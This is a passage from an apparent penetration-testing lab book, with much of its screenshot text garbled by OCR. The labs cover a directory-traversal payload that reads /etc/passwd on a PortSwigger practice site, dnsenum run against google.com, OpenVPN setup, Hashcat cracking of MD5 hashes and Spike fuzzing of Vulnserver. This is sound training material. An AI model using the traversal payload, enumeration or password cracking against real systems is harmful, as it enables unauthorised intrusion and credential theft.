k Distance: 7 hops

Task 4:
If we want to use all of the scanning tools available to us to get a more
comprehensive scan of the target, we can use the following command:

scanless -t scanme.nmap.org -a



Lab 27. Directory Traversal

Lab Objective:
Learn how to test a site for a directory traversal vulnerability.

Lab Purpose:

A directory traversal vulnerability is when a site sends a request for a file, say
an image, to the webserver and this request can be captured by an attacker.
They can then manipulate this request to navigate out of the directory where
the image is stored into another directory. This allows the attacker to move
through the webserver and look at the different files stored there.

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use Kali Linux in a VM or Windows for this lab.

Lab Walkthrough:

Task 1:
We will be using Burp Suite for this lab. It comes pre-installed on Kali Linux
but may need to be updated using the command: sudo apt upgrade burpsuite

We strongly recommend you look at a previous lab, lab 7, we did on Burp
Suite.

Task 2:

In this lab, we will be using the Port Swigger Web Security Academy in
order to demonstrate a directory traversal vulnerability. They provide some
vulnerable labs where you can practice these skills. You will need to signup



(for free) in order to do this:

https://portswigger.net/web-security

&4 PortSwigger

Web Security
Academy! < |

Free, online web security training
from the creators of Burp Suite

Task 3:

Start Burp Suite. Turn intercept mode off. Then, login into
https://portswinger.com with your credentials.

Start the path-traversal-lab there:

https://portswigger.net/web-security/file-path-traversal/lab-simple

Once you have started the lab, you will be presented with a fake shop, as
depicted in the screenshot.

Our goal for this lab is to take advantage of a directory traversal vulnerability
in order to read the “/etc/passwd” file.
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Task 4:
We can now begin our attack. With Burp Suite open and intercept enabled,
click on one of the products in this fake shop.



Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp Project Intruder Repeater  Window  Help

Repeater Sequencer Decoder Comiparer Extender Project options User options
Dashboard Target Intruder

intercept HTTF history WebSockets history Options

: (3]
\» lmmﬁﬂ#/ =

Click the forward button until you get the page in the figure below:

Burp Project Intruder Repeater Window Help
Dashboard Target ¥ Intruder Repeater Sequencer Decoder Comparer Extender
HTTP history WebSockets history o), <3

&7 B\ Request to https://ac711ff81e44da9c80df90dF005d00e8 web-security-academy.net:443 [18.200 14T zss)

Forward Drop Intercept ison Action Open Browser @

ety \n  Actions

1 GET /image?filename=59.jpg HTTP/1.1
2 Host: acT11tfBleddda9<80df90dF00Sd00E

3 User-Agent: Mozilla/S.0 (X11: Linux x¥ refox/78.0

4 Accept: 1mage/webp, */* Send to Intruder Ctrl-1

S Accept-Language: en-US.en;q=0.5 o

6 Accept-Encoding: gzip, deflate Sendto Repeater A _) url-R

7 Connection: close Send to Sequencer

8 Refarer: https://fac7llff8ledadaScBOdfs r.net /product Fproduct Iq
9 Cookie: session=IoSgpJRSsSqdKBpsus4Eaz Send to Comparer

- Send to Decoder

. Request in browser >

Once you capture this request, you should right-click and press “Send to
Repeater”. This will allow us to send the request and analyse the server’s
response in real-time. Navigate to the Repeater tab and continue with the next
steps.

Notice the first line where the webpage is requesting the image file from the
webserver? This is where we will perform our directory traversal attack.

You should know that ../ is used to step up through a directory in both



Windows and Linux. The image file here is stored in the directory
/var/www/images. If we want to escape out of the /images directory and
access the /www directory, we can use ../ to do this.

Similarly, we can use ../../../ to escape out of the /images directory, then out
of the /www directory and finally out of the /var directory. We will then be in
the root directory.

Since we are in the root directory, we can now request any file we like from
the webserver, as long as we know its location. The “passwd” file is stored in
the following location: /etc/passwd.

Task 5:
So, in order to access the root directory and then the paswd file, this is the
full path we want to specify:

.J../../etc/passwd

fvar/wwi /images
e nasswd
root:x:@ : r/bin/zsh

daemon 151 lus

“/var/www/1

../ .. /etc/passwd

We will replace the 48.jpg file in the request above with this path, and the
webserver will respond with the file we requested. This looks like the
following:



Burp  Project  Intruder  Repeater  Window  Help

Dashboard Target Prou Intruder Repeater Sequencer Decoder Comparer Extender Project options
1 =
[ Send | — 9 Target: hitps://acT11fR 1644498040 0df00500

Request = : - E = INSFECTOR
Ry, m W Actions v @ Guery Parameters (1)

1 GET finage?filename=55.1pg HTF/1.1 )
¥ Host: ecTllff8ledddeScal4f90df 00Sd00es, web-security-acadeny  net Body Parameters (0
3 User-Agent: Mozillass5.Q r'u Linue x86 64: rv:78.0) Gecko/20000101 Firefox/78.0

4 kecept  imagefwsbp, dge

]

S Accept-Languade: en-US, en; a—ﬁl?':'.-,..,_ b i
Recept -Encad
/ Conmection: Rl’-‘_'qLJE' st saders {B]

8 Peferer:
https:/facTl
9 cookie sess| Prefty s \n  Actions

1 GET /image?filenames. ./../../etc/passwd)HTTP/1.1
2 Host: ac711ffSled44daSco0dfo0d$005d00es. web-security-a
. 3 User-Agent: Mazilla/S.0 (¥11: ux ¥BA &4: rv:78. H}
@€ 4 Accept: image/webp,*/# &
5 Accept -Language: en-UsS,en;g=0.5
Respomsa

Click the Send button on the up-left side to send this request to the
webserver. You will see the following response on the right side of the
screen.



Response
pretty | Render \n  Actions v
HTTR/1.1 200 0K

Content -Type: image/jpeg

Connection: close
Content -Length: 1205

root:x:0:0:root:/root:/bin/bash -
daemon:x:1:1:daemon: fusr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin: fusr/sbin/nologin
sys:x:3:3:sys:/dev: fusr/sbin/nologin

10 sync:x:4:65534:sync:/bin: /bin/sync

1l games:x:5:60:games: /usr/gamnes: fusr/sbin/nologin
12 man:x:6:12:man: /var/cache/nan: /usr/sbin/nologin
13 lp:x:7:7:1p: fvar/spool /lpd: Jusr/sbin/nologin

14 mail:x:8:8:mail:/var/mail: /usr/sbin/nologin

15 news:x:9:9:news: /var/spool /news: fusr/sbin/nologin

16 wucp:x:10:10:uucp: /var/spool fuucp: fusr/sbin/nolegin
17 proxy:x:13:13:proxy:/bin: fusr/sbinfnologin

18 www-data:x:33:33:www-data: /var/www: fusr/sbin/nologin
19 backup:x:34:34:backup: /var/backups: fusr/sbin/nologin
20 list:x:38:38:Mailing List Man

" + QG ped

Lo~ WUms RN

As you can see, we were successful in accessing the passwd file and have
now completed the lab.

n.n- , File path traversal, simple case

%]

Congratulations, you solved the lab!



Lab 28. Gathering DNS Information
with Dnsenum

Lab Objective:
Learn how to gather DNS information on a target using dnsenum.

Lab Purpose:

Dnsenum is a tool used for the locating of all DNS servers and DNS entries
for a target. DNS enumeration is an important tool to have as it allows us to
gather critical information about the organisation, such as usernames,
computer names, IP addresses, etc.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Dnsenum comes pre-installed on Kali Linux, so we will begin by looking at
the help screen for this tool by using this command:

dnsenum -h

Our first target will be google.com. To perform a comprehensive DNS
enumeration on this site, use the following command:

dnsenum -enum google.com



google. com.

This will perform a comprehensive information gathering scan on the domain
google.com. It will provide us with information such as the different host IP
addresses, name servers, mail servers, sub domains, and will even attempt
some domain takeovers.

CNAME
A

CNAME
A
CNAME

It will also perform automatic brute forcing of some of the most common
subdomains, such as admin.google.com, and provide you with this
information. This is very useful information as it gives you a better idea of
the attack surface of a target.



'4.9.64.1n-addr.arpa. 86400 IN PTR
.9.64.1n-addr.arpa. BHL00 IN PTR
£.9.64.1n-addr.arpa. BG4LDO IN PTR

Task 2:

We can also perform a brute force search for all subdomains associated with
a site by using a custom file. This allows us to search for any subdomains we
deem to be valuable. This can be done using the following sample command:

dnsenum -f list.txt -r google.com




L.ab 29. How to Connect to an
Internal Network Using OpenVPN

Lab Objective:
Learn how to use OpenVPN to connect to an internal network.

Lab Purpose:

OpenVPN is an open-source VPN protocol and VPN software which enables
us to establish secure VPN connections. It is a very secure protocol and is
offered by most VPN providers for this reason. It works across multiple
platforms, making it a versatile and useful tool.

Lab Tool:
Kali Linux

Lab Topology:

You can use a Kali Linux VM for this lab. In this lab we need another Linux
machine to make VPN connections through. You can find a prebuilt Ubuntu
Server image on https://www.osboxes.org/ubuntu-server/ for this purpose.

Ubuntu Server 20.04 Focal Fossa

| -
e

SHA256: focf/70aac525c19207/104bd6 /bE2409 2887 2dF 2503b930225a966F 20+ 78d

[



https://www.osboxes.org/ubuntu-server/

Download and import to your virtualization platform and run.

Lab Walkthrough:

Task 1:

First, we will set up a newly created Ubuntu Linux machine as a OpenVPN
server and establish a simple one-to-one connection. We will design the Kali
Linux VM machine as a local, and the Ubuntu Linux VM as a VPN server
that we will connect to. Both have a direct connection to the internet for now.

First, we open a terminal window from the Kali Linux machine and connect
to the Ubuntu Linux machine via SSH:

ssh osboxes@192.168.1.206

In this instance, the IP address of our Ubuntu Linux machine is
192.168.1.206.

Then we update the OpenVPN package:

sudo apt update
sudo apt upgrade openvpn

This command will find the package with its dependent packages from repos
on the internet and install it on the machine if the package is not installed. If
there is an old version, it will find and install the most recent version. Let’s
see which version installed on our Ubuntu VM:

openvpn --version
Since following processes will require privileges, we will switch to root user.
sudo su —

OpenVPN’s settings files are located under the “/etc/openvpn” folder. There are
two empty folders named “server” and “client” here. Since we will configure
Ubuntu as a VPN server, we will create all our files under the “server”
directory. Copy the text lines below and paste them into the terminal screen
of Ubuntu. Then, hit enter.


mailto:osboxes@192.168.1.206

cat << EOF > server.conf

local 192.168.1.206
port 1194

proto udp4

dev tun

keepalive 10 120

topology subnet
server 10.8.0.0 255.255.255.0

verb 3
auth-nocache

user nobody

group nogroup
explicit-exit-notify.

auth SHA512

persist-key

persist-tun

cipher AES-256-GCM

tls-server

remote-cert-eku “TLS Web Client Authentication”

ca ca.crt
cert server.crt
key server.key

tls-crypt tc.key
dh none

EOF

A new file named “server.conf” should have been created here. Let’s check
the file content:

cat server.conf
Let’s see what some of the lines do.

On the top line we see:

local 192.168.1.206



This is our server’s IP address. We will connect to this IP address via VPN
from client machine.

The next two lines indicate the communication protocol and port number.
This comes by default in a newly installed OpenVPN. This setting should be
the same on both the server and the client.

port 1194
proto udp4

The subnet information of our network, which will be established end-to-end
as encrypted, is specified in the following lines:

topology subnet
server 10.8.0.0 255.255.255.0

By default, this subnet comes as 10.8.0.0/24, but if there is a subnet conflict in
the current network, we can change it.

user nobody
group nogroup

These two lines specifies the user and group that will owner the “OpenVPN”
process.

cipher AES-256-GCM

This line shows the preferred mechanism for encryption. It should be the
same on both the server and the client.

tls-server
Indicates the TLS in this machine will be in server role.
remote-cert-eku “TLS Web Client Authentication”

An attribute that we require to see in the client certificate. Otherwise, we will
be denied to connect our server.



ca ca.crt

Root certificate file. OpenVPN will use this as a reference to verify the
client’s certificate signature. We will create this in our next lab.

cert server.crt
key server.key

The certificate and key pair OpenVPN will use when communicating with
client. We will create it later.

tls-crypt tc.key

OpenVPN will use this when encrypting and authenticating all control
channel packets.

dh none

File containing Diffie Hellman parameters in pem format (required for tls-
server only). We will not create such a file in this instance.

OpenVPN has many other parameters, but since explaining them one by one
will be beyond the scope of this lab, we have only explained the most
necessary ones.

Task 2:
In the previous task, we saw some external files in the config file. OpenVPN
will not work until these are created. We will produce them in this mission.

Be sure we are working in this directory: “/etc/openvpn/server”

Update the openssl package:

apt upgrade openssl

First, we must create a certificate and key file of Root Certificate Authority
(Root CA). Copy and paste the text below into the terminal screen in one
line:



openssl req -x509 -newkey rsa:4096 -keyout ca.key -sha256 -days 3650 \

-set_serial 00 -out ca.crt -subj “/C=UK/ST=UK/L=LONDON/O=101LABS/CN=101 Labs Root
CA” -addext nsComment="101 LABS Class 1 ROOT CA”

You will be asked to enter a password twice. Set a strong password and write
it down for future reference. We will use this password when signing server
and client certificates later.

After a quick “openssl” command job, two files are created on same
directory: ca.key and ca.crt. To get information about a certificate, use this
command on the terminal screen:

openssl x509 -in ca.crt -text -noout

Certificate:
Data:

AEncryption
r: C = UK; 5T = UK, 1 LONDON, O = 1@1LABS, CN = 1901 Labs Root CA

Mar 28
ot After : 43:5& 2031 GMT
t: C = UK, 5T = UK, LONDON, O = 101LABS, CN = 101 Labs Root CA
Subject Public Key Info:
Public f Algorithm: rsaEncryption

ublic-Key: (4096 bit) <=

Observe information areas. Our Root certificate is for 10 years. It has an
encryption depth of 4096 bits. It takes more time to generate a higher bit
depth certificate, but this gives us a harder key pair to crack. We will copy
“ca.crt” file to the client to use openvpn operations.

Then, copy and paste the text below to terminal screen:

cat << EOF > x509-extensions.cnf
[v3_vpn_server]

basicConstraints = CA:FALSE
subjectKeyldentifier = hash
authorityKeyldentifier = keyid,issuer:always
extendedKeyUsage = serverAuth

keyUsage = digitalSignature,keyEncipherment



nsComment= “OpenVPN Server Signed Certificate”

[v3_vpn_client]

basicConstraints = CA:FALSE
subjectKeyldentifier = hash

authorityKeyldentifier = keyid,issuer:always
extendedKeyUsage = clientAuth

keyUsage = digitalSignature,keyEncipherment
nsComment= “OpenVPN Client Signed Certificate”
EOF

This will create a file named “x509-extensions.cnf”, which we will use later.

&

basicConstraints = CA:IFALSE
rFrw:‘r:-m-I|‘|E~|11:7r.1-1w = hash

authori eyIdentifier = keyid,issuer:always (:)
extendedKeyUsage = serverAuth

keyUsage = digitalSignature,keyEncipherment
nsComment= "OpenVPN Server Signed Certificate

vpn _client)

basicC straints = CA:FALSE

subjectKeyIdentifier = hash
authoritykKeyIdentifier = keyid,issuer:always (:)

extendedKeyUsage = clientAuth
] 1talSignature,keyEncipherment
nsComment= “OpenVPN Client S5igned Certificate”

ot — |

This file contains two separate configs. The first holds the server certificate
attributes, while the second holds the client certificate attributes. OpenVPN
will look into this info during operation.

Task 3:
Let’s create a server certificate and key pair, and sign with our Root CA key.
Copy and paste the text below to the terminal screen in one line:

# Create a Certificate Signing Request (CSR) with Key for OpenVPN Server
openssl req -new -newkey rsa:2048 -nodes -keyout server.key \
-out server.csr -subj “/C=UK/ST=UK/L=LONDON/O=LAB101/CN=SERVER”



Two files, named server.csr and server.key, will be created. Observe
information in the server.csr file:

openssl req -in server.csr -text -noout

Certificate Reguest:

on: 1 (@x0)
ct: C ST = UK, L = LONDON, O = LAB1@1, CN = SERVER
ct Publi ey Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (

As you can see, there is no expiry date. Only bit depth is specified. The
expiry date and any other property of the certificate are permanently
determined by the Root CA. Now, let’s give this server.csr file to the Root
CA for signing. Copy and paste the text below to the terminal screen in one
line:

# Sign the CSR and create server.crt file which signed by Root CA
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key \
-set_serial 01 -sha256 -days 730 -text -out server.crt \

-extensions v3_vpn_server -extfile ./x509-extensions.cnf

You will be prompted for a password for the root CA. Now, check the
directory again. We have server.crt file now. Let’s check signing and other
information which is embedded by Root CA:

openssl x509 -in server.crt -text -noout



Issuer: C UK, 5T = UK 0 = 101LABS, CN = 191 Labs Root CA
Validity
Mot Before: Mar 28 @3:40:39
Not After : Mar 2§ M T
C = 5T = = 0 = LAB181, CN = SERVER

Authentication
ature, Key Encipherment

server S5igned Certificate

We see data similar to the root CA certificate. The parts that will be
important during certificate validation are shown in colour in the figure. Note
that “modulus” sections have been cropped to simplify the figure above.

Task 4:
Finally, it is time to generate the client certificate and let the Root CA
approve it. Copy and paste the text below to the terminal screen in one line:

# Create a Certificate Signing Request (CSR) with Key for OpenVPN Client
openssl req -new -newkey rsa:2048 -nodes -keyout client.key \
-out client.csr -subj “/C=UK/ST=UK/L=LONDON/O=LAB101/CN=CLIENT”

Two files, named client.csr and client.key, will be created. Then, give
client.csr file to the Root CA for signing. Copy and paste the text below to
terminal screen in one line:

# Sign the CSR and create client.crt file which signed by CA
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key \
-set_serial 02 -sha256 -days 365 -text -out client.crt \



-extensions v3_vpn_client -extfile ./x509-extensions.cnf

Again, you will be prompted for a password for the root CA. Now, check the
directory. We should have a client.crt file now. Let’s check signing and other
information which is embedded by Root CA:

openssl x509 -in client.crt -text -noout

Certificate:
Data:
Version: 3 (0x2)
ial Number: 2 (0=2)
ithm: sha256WithR cryption
5T = UK, L = LON , 0 = 181LAB5, CN 181 Labs Root CA
Validity
Not Before: Mar 28 04:11:19 2821 GMT
Not After : Mar 28 @04:11:19 2¢ GMT
C=UK, ST = UK, L = LONDON, 0 = LAB1G1, CN
Info:

3D:30:9F:A3:D7:B0:1E:F3:78
X589v3 A
keyid:5 g . 3135:66:E3:86:14:B4:27:20:0E:ER:28:78B
DirNar ¥i. 0=101LABS/CN=101 Labs Root CA

xtended Key Usage:
| Client Authentication

X509 -
Di gnature, Key Encipherment
Net
Open¥PN Client Signed Certificate

We will use this certificate with associated keys on the Kali Linux machine,
to use with OpenVPN. Copy those files to Kali Linux machine via the secure
way, SCP.

Task 5:
There is one file to be created in Ubuntu Server:

“tc.key”.



Copy and paste the command below to the terminal screen in one line:
openvpn --genkey --secret tc.key

Now, we have a “tckey” file. Also, this file will be copied to the Kali Linux
machine via a secure way.

What about the dh.pem file? Since we’ve configured all the certificates to use
Elliptic Curve Cryptography, there is no need for a Diffie-Hellman seed file
in this instance.

The server side of our OpenVPN installation is done!

Task 6:

Now, we will prepare the OpenVPN client which is Kali Linux. We will
follow the steps similarly to how we followed them while preparing the
server. Open a terminal screen in Kali VM, then type this command:

sudo su —

Since following processes will require privileges, we switch to “root” user.
We must then be sure that openssl and openvpn packages have been installed
with the most up-to-date versions in the client’s machine:

apt install
apt upgrade openssl openvpn

Remember, there are two empty directories in “/etc/openvpn”, named
“server” and “client”, here. Since we will configure our Kali Linux machine
as a VPN client, we will create all our files under the “client” directory. Copy
the text lines below and paste them into the terminal screen of Ubuntu. Then,
hit enter:

cat << EOF > client.conf
remote 192.168.1.206 1194 udp4
resolv-retry infinite

client



dev tun
nobind

verb 3
auth-nocache
user nobody
group nogroup

auth SHA512

persist-key

persist-tun

cipher AES-256-GCM

tls-client

remote-cert-eku “TLS Web Server Authentication’

3

ca ca.crt

cert client.crt
key client.key
tls-crypt tc.key
dh none

EOF

A new file named “client.conf” should have been created here. Let’s check
the file content;

cat client.conf

See what some of the lines do:

On the top line, we see:
remote 192.168.1.206 1194 udp4

We will connect to this IP address or hostname given, via VPN from our Kali
Linux machine. Port number and protocol type are placed at the end of the
line.

resolv-retry infinite

Ensures it never gives up trying to connect to the server, and is useful for
unreliable internet connections and laptops.



client
Tells openvpn to act as a client.

user nobody
group nogroup

These two lines specify the user and group that will be the owner of the
“openvpn” process.

cipher AES-256-GCM

This line shows the preferred mechanism for encryption. It should be the
same on both the server and the client.

tls-client
Indicates that the TLS in this machine will be in the client role.

remote-cert-eku “TLS Web Server Authentication”

Attribute that we require to see in the server certificate. Otherwise, we will be
denied connection to the remote server.

The remaining parameters have been explained in Task 1.

Task 7:

Now, let’s copy the other files mentioned in the “client.conf” file to our Kali
machine. The first is the “ca.crt” file, which we created in Task 1. We also
created the client certificate and key pair in Task 4, and the tc.key file in
Task5. We will send them all to our Kali machine with scp.

Start SSH service in the Kali machine with this command in the terminal:
sudo systemctl start ssh

Switch to the Ubuntu Linux machine’s terminal screen. Be sure we are in the
“/etc/openvpn/server” directory, as our created files are left in there. Type these
commands to transfer the files to the Kali machine:



cd /etc/openvpn/server
sudo scp ca.crt client.crt client.key tc.key kali@192.168.1.28:~/

In this instance, our Kali machine has an IP address of 192.168.1.28; replace
this with yours.

y tc.key kali@lo2

All four files are transferred to the Kali machine in a secure way. Then, move
the files to the “/etc/openvpn/client” directory in the Kali machine. Change
ownership to root user and be sure they have proper access modes. As you
can see, all our “key” files must be private except root user.

sudo mv -f ca.crt client.crt client.key tc.key /etc/openvpn/client/
cd /etc/openvpn/client/

sudo chown root: *

sudo chmod 0600 *.key

Since we have these certificates, the VPN server we will connect to will not
ask for any other credentials.

Jetc/openvpn/client

total 24
-rwW=-Ir—TI— root root 2021 Mar 2f B:31 ca.crt

-'wW=-T-—T root root 3908 Mar 28 89:42 client.conf
-TW-T—T— root root 6147 Mar 28 :31 client.crt
-MwW—— root root 1704 Mar 3:31 client.key

-I'nw ool root bib M: '8 J:31 tc.key

The client side of our OpenVPN installation is done!

Task 8:


mailto:kali@192.168.1.28:~/

Now, time to connect the two machines with VPN. Switch to server machine
(Ubuntu), type these commands on the terminal screen:

cd /etc/openvpn/server
sudo openvpn --config server.conf

$ sudo openvpn --config server.conf

[SSL (OpensSSL)]
ep 5
ions: OpenSSL 1.
Llocal LAN uses the e y cor
. are that this might routing
connect to the VPN ser . ublic locations such as internet cafes that
ame subnet

Sun Mar 5 Control Channel Encryption: Cipher 'AES-256-C1

sSun Mar 28 21 Outgo Control Channel Encryption: Using 256 bit message ha
sh "SHA
Sun Mar 28 904 ming Control Channel Encryption: Cipher 'AES-256 R’

ontrol Channel Encryption: Using 256 bit message ha

ue length set to 100
set dev tun® up mtu
' ey tund® 10.8.¢

-3

b b b b b B e e

Our VPN server starts and awaits client connections. 10.8.0.1 is the virtual IP
address of our server. This server also offers DHCP address space to their
clients, which starts from 10.8.0.2.

Switch to client machine (Kali), and type these commands on the terminal
screen:

cd /etc/openvpn/client
sudo openvpn --config client.conf



TLS: Initial packet from [AF_INET]192.

VERIFY OK: depth=1, C=UK, 5T=UK, L=LONDON, O0=101LABS5, CN=1@1

ating certific
rtificate has

epth=0, C=
nnel: TLSv1

SERVER] Peer Connection Initiated with [AF_
6 SENT CONTROL [SERVER]: 'PUSH_R T
d control m i
't 128, 1fce

Limers ar

—ifconfig T
lated options modifi

5 modified

Data Channel: Cipher "AES CM' initialized with 256 bit

ing Data Channel: Cipher °* 5-GCM" initialized with 256 bit

24 dev tun®

Our OpenVPN client has started successfully. 10.8.0.2 is our virtual IP
address, which is attached to tunO interface. Logs show that all certificates
have been signed by authorized Root CA and has required attributes such as
“TLS Web Server Authentication”.

Now, try to ping the other side. Open a separate terminal screen, then type
these commands:



=

tund

0 S0@ (UNSPEC)
bytes 48 (
droppe
bytes 384 (

ped @ overruns @ carrier @ collisions @

bytes of data.
ttl=64 time=9.792 ms
ttl=64 time=1.41 ms
ttl=64 time=1.087 ms

3 pack Lran: X f ived, 9% Lo time 2036ms

rtt min/:z

After the connection is established, logs like the following are generated on
the VPN server side:



Sun Mar 5:17:48 ) 92.168.1.28: TLS: Initial packet from [AF_INET]192.1¢
T 37cy q
Sun Mar 28 15:17:4 : .1.28 } VERIFY OK: depth=1, Cs=UK, ST=UK, L=LO
0=181L s A
Sun Mar 5:17: 92 . }: Validating certificate
Sun Mar o 2. ate has EKU
t Auther
Sun Mar
th=9, CaUK, 5T=UK, L=LO

Mar v n ok w0

i nsan : R . eer info:
Mar 5:17:48 ! 02 . - ! 5 er info:
Mar 217148 202 .168 . I5in vens Snfo-

info: IV_LZ&4=1
IV LZ4v2=l
IV_
info: IV_COMP_S5TUB=1
info: IV_COMP_STUBv2=1
info: IV_TCPNL=1
ntrol Channel: TL5v1.3, cipher TLSvl1l.3

Sun Mar .168. B:44848 [CLIENT] Peer Connection Initiated with [A
F_INET]19 i

Sun Mar 5217 1 2.168 | MULTI_sva: pool returned IPwv4=1
0.2, IP

Sun Mar 5: 2021 CLIENT/192.168.1. 848 MULTI: Learn: 10.8.0.2 = CLIENT/19
2.168.1

8 MULTI: primary virtual IP for CLIEN
ceived control

SENT CONTROL [CLIENT]:
120,1ifconfig

ng Data Channel:
65 bit
21 CLIENT/ .168.1. 44848 Incoming Data Channel: Cipher 'AES
with 256 bit key

If connecting to an internal network, such as that of a hacking site like
HackTheBox or TryHackMe, we will need an OpenVPN package file. Many
VPN servers will provide the client.conf file specially prepared for their
system for their convenience.



L.ab 30. How to Crack Passwords
with Hashcat

Lab Objective:
Learn how to use Hashcat to crack passwords.

Lab Purpose:

Hashcat is a password cracker used to crack password hashes. A hash is a
one-way function that takes a word or string of words and turns them into a
fixed length of random characters. This is a much more secure method of
storing passwords rather than storing them in plain text. It is not reversible.

Hashcat attempts to crack these passwords by guessing a password, hashing
it, and then comparing the resulting hash to the one it’s trying to crack.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will create a set of hashes and then use a dictionary to crack
these hashes. The first step is to create the hashes. Open a terminal and use
the following command to create a new txt document filled with some
hashes:

cat << EQOF > target_hashes.txt

dc647eb65e6711e155375218212b3964



eb61eead90e3b899c6bcbe27ac581660
958152288f2d2303ae045cffc43a02cd
2c9341ca4cf3d87b9e4eb905d6a3ec45
75b71aa6842e450f12aca00fdf54c51d
031cbcced3babbd4d1556330995b8d08
b5af0b804ff7238bce48adef1e0c213f
EOF

-~

2c9341cabcf3id87b9esel
75b71aa6842e450f12acaoefdfs
@31cbcccd3babbatalss6330995b8d0E
b5at@bB804tf7238bceiBadef ledc2lit

These hashes comprise 7 different password which we will attempt to crack.

Task 2:

We can now open hashcat. We will begin by viewing the help screen using
“hashcat -h”.

hashcat -h | more

There are many pages. You can go to each next page by pressing the Space
key. Press ctrl + ¢ when you want to exit.

The two most important options available to us when using this tool are the
“hash type” and “attack mode”.

Hashcat can attempt to crack numerous different hash types, which can be
seen from the screenshot below:



- [ Hash modes ] -

Name

MO
MD5

Iterated

Task 3:
The next step is to choose the wordlist we will use for cracking the hashes.
We will be using the “rockyou.txt” file. Type the following to locate the file:

locate rockyou.txt

If the file has a .gz extension, it means it is a zipped file and we will first need
to unzip it using gunzip. To do this, navigate to the directory where the file is
stored and then type the following:

gunzip rockyou.txt.gz

This will unzip the file and provide us with the required .txt file.



) Jusr/share/wordlists

rockyou. txt.gz
.- Jusr/share/wordlists :""x\\'

rockyou. txt

Task 4:
Navigate back to the home directory by typing cd. We are now ready to begin
the attack.

We will use the following command to crack the password hashes:
hashcat -m 0 -a 0 -o cracked.txt target_hashes.txt /usr/share/wordlists/rockyou.txt

Let’s break down each of these options.

e The -m 0 option tells hashcat that we are attempting to crack
MDS5 hash types

e The -a 0 option tells hashcat we are using a dictionary attack

e The -o cracked.txt option is creating the output file for the
cracked passwords

e The target_hashes.txt is the file containing the hashes

e The /usr/share/wordlists/rockyou.txt is the wordlist we will use
for this dictionary attack



cracked.txt
dc647ebb5e6711e155375218212b3964 Password
cb6lecad90c3b899c6becbhe27ac5816608 HELLO
P455wlrd
festl234
MYSECRET

Task 5:
When the attack has finished, open the cracked.txt file using the following
command:

Cat cracked.txt

We can see the hash of each password cracked and the plaintext password
beside it. Hashcat cracked 5 out of the 7 hashes. The remianing 2 passwords
were not contained in the wordlist and so were not cracked.

If you look at the details of the attack, we can see that hashcat ran through
over 4 million password hashes in 1 second. This is why having a secure
password is very important to prevent your details being compromised in a



security breach.



Lab 31. Fuzzing with Spike

Lab Objective:
Learn how to use Spike to fuzz a server.

Lab Purpose:

Spike is an API which enables us to quickly develop stress tests of a protocol
or application of our choosing. Spike gives us the ability to manipulate the
way a service receives data, which may result in the protocol or application
breaking.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:

I will be using both Kali Linux and Vulnserver for this lab. Vulnserver is a
server that has been intentionally built to be vulnerable. You should only
deploy it on networks and machines you trust. Download vulnserver on your

windows machine here: https://github.com/stephenbradshaw/vulnserver


https://github.com/stephenbradshaw/vulnserver

https:/ fgithub.com /fstephenbradshaw /vulnserver

Go to file Add file - # Coda -

(] Clona

HTTPS

Bt tps : 7 EL T hub . com) 5 T ephenir sd

(2] Open with GitH

[i] Download ZIP

Once this is downloaded, extract the files to a location of your choosing. No
compilation is needed. Then, click on the “vulnserver.exe” file to load the server.

A command prompt will open with vulnserver running.

r $
VSRS Y S )
version 1.d

Function dll

connections. ..

Task 2:
The next step is to go to Kali and open a terminal. We will now try to connect

to Vulnserver using netcat. Vulnserver runs on port 9999 by default. We can
connect to it using the following command:

nc 192.168.1.128 9999



192.168.1.123 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP

CTATS

J M 2
RTIME
LTIME
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]

[gdog_value]
[kstet_value]
[gter_value]
[hter_value]
[1ter_value]
KSTAN [1stan_value]
EXIT

We can see the available commands supported by the server.

Task 3:

The next step is to locate the auditing scripts used by Spike. These scripts end
with a .spk extension. We can find them in Kali by typing the following
command:

locate .spk

Each of these scrpits will audit various protocols and attempt to break them.
In this lab, we will be using TCP as we are auditing a server. We will use a
basic script to send random data over TCP to our vulnerable server.

Navigate to the Kali Start Menu in the top left, find the “Vulnerability
Analysis” category and click on “Fuzzing Tools”. You will see a Spike script
called “spike-generic_send_tcp”. Click on this script and you will be presented
with some help information on how this script works.



kali@kali: fusrisharefspi.

spike -generic_Listen_tcp
pike-g _listen_tcp

D : t spike-generic_send_tcp
- spike-generic_send_udp
(03 - Web Application Analysis
e : b {E}»?ﬂﬂTuaﬁ (:)
)4 - Database Assessment
sword Attacks ‘ |.El§__'||::"r'l

16 - Wireless Attacks . nikto

£ » nmap
B - Exploitation Tools a unix-privesc-check
09 - Sniffing & Spoofing
Post Exploitation
1 - Forensics

Reporting Tools

“generic_send_tcp” (? |

JJgeneric_send_tcp host port spike _script SKIPVAR SKIPSTR
1.100 701

» Executing

We will need to include the following bits of information for this script to be
successful:

Target IP address

Port number

A spike script

SKIPVAR and SKIPSTR values

We will be setting the last 2 variables (SKIPVAR, SKIPSTR) to 0 as they are



not needed for this lab. let’s try using one of these built in scripts on our
server by typing the following:

generic_send_tcp 192.168.1.123 9999 /usr/share/spike/audits/SMTP/smtp1.spk 0 0

This is the result on our server:

generic-send_tcp vulnserver
Fuzzing Variable 9:1361

Fuzzing Variable 9:1362

Fuzzing Variable 9:1363

Fuzzing Variable 9:1364

Fuzzing variable 9:1365

Fuzzing Variable 9:1366

Fuzzing Variable 9:1367

Fuzzing Variable 9:13568

Fuzzing Variable 3?136-»
Fuzzing Variable 9:1370

Fuzzing Variable 9:1371

Fuzzing Variable 9:1372

Fuzzing Variable 9:1373

Fuzzing Variable 9:1374

Fuzzing Variable 9:1375

Fuzzing Variable 9:1376

Fuzzing variable 9:

Fuzzing variable 9:

Fuzzing variable 9:

As you can see, this spike is sending random values to the target protocol
(SMTP). In this case our server was not be able to handle this load. Check the
